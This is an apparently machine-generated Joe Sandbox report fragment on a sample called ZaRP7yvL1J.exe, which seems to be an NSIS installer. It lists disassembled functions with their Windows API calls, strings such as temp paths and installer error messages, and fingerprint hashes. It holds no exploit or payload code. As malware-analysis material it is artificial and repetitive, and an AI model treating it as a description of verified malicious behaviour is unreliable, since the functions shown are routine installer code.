Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

(7B, xrefs: 00403B04
_Nb, xrefs: 00403C5C, 00403CC4
1033, xrefs: 00403AF8, 00403B54
RichEdit, xrefs: 00403D33
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEd32, xrefs: 00403D14
RichEd20, xrefs: 00403D06
RichEdit20W, xrefs: 00403D24, 00403D2A
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.exe, xrefs: 00403BE6
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
.DEFAULT\Control Panel\International, xrefs: 00403B44

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2335571965
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\ZaRP7yvL1J.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ZaRP7yvL1J.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\ZaRP7yvL1J.exe,C:\Users\user\Desktop\ZaRP7yvL1J.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

soft, xrefs: 00403020
Null, xrefs: 00403029
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
C:\Users\user\Desktop\ZaRP7yvL1J.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\ZaRP7yvL1J.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4073398900
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nszB803.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nszB803.tmp$C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll$Call
API String ID: 1941528284-56505902
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 6F951777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F951B5F: GlobalFree.KERNEL32(?), ref: 6F951DB2
Part of subcall function 6F951B5F: GlobalFree.KERNEL32(?), ref: 6F951DB7
Part of subcall function 6F951B5F: GlobalFree.KERNEL32(?), ref: 6F951DBC

GlobalFree.KERNEL32(00000000), ref: 6F951825
FreeLibrary.KERNEL32(?), ref: 6F9518AB
GlobalFree.KERNEL32(00000000), ref: 6F9518D0

Part of subcall function 6F952352: GlobalAlloc.KERNEL32(00000040,?), ref: 6F952383

Part of subcall function 6F952724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6F9517F6,00000000), ref: 6F9527F4

Part of subcall function 6F9515C6: wsprintfW.USER32 ref: 6F9515F4

Strings

, xrefs: 6F9518B1

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: faee48dba62b45d97be3b2184bd75426573d35928ae35b5260f729c95c63ae8d
Instruction ID: 15b51909478f2244a7f0ecf7831802babf67c068503d3ee08ed1dc0f181b3e29
Opcode Fuzzy Hash: faee48dba62b45d97be3b2184bd75426573d35928ae35b5260f729c95c63ae8d
Instruction Fuzzy Hash: FF418E71404304AAEB24DF789884B9637ACBF07328F144566EA199E1D7DB79E0F9CB60

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nszB803.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nszB803.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nszB803.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nszB803.tmp
API String ID: 2655323295-789845483
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

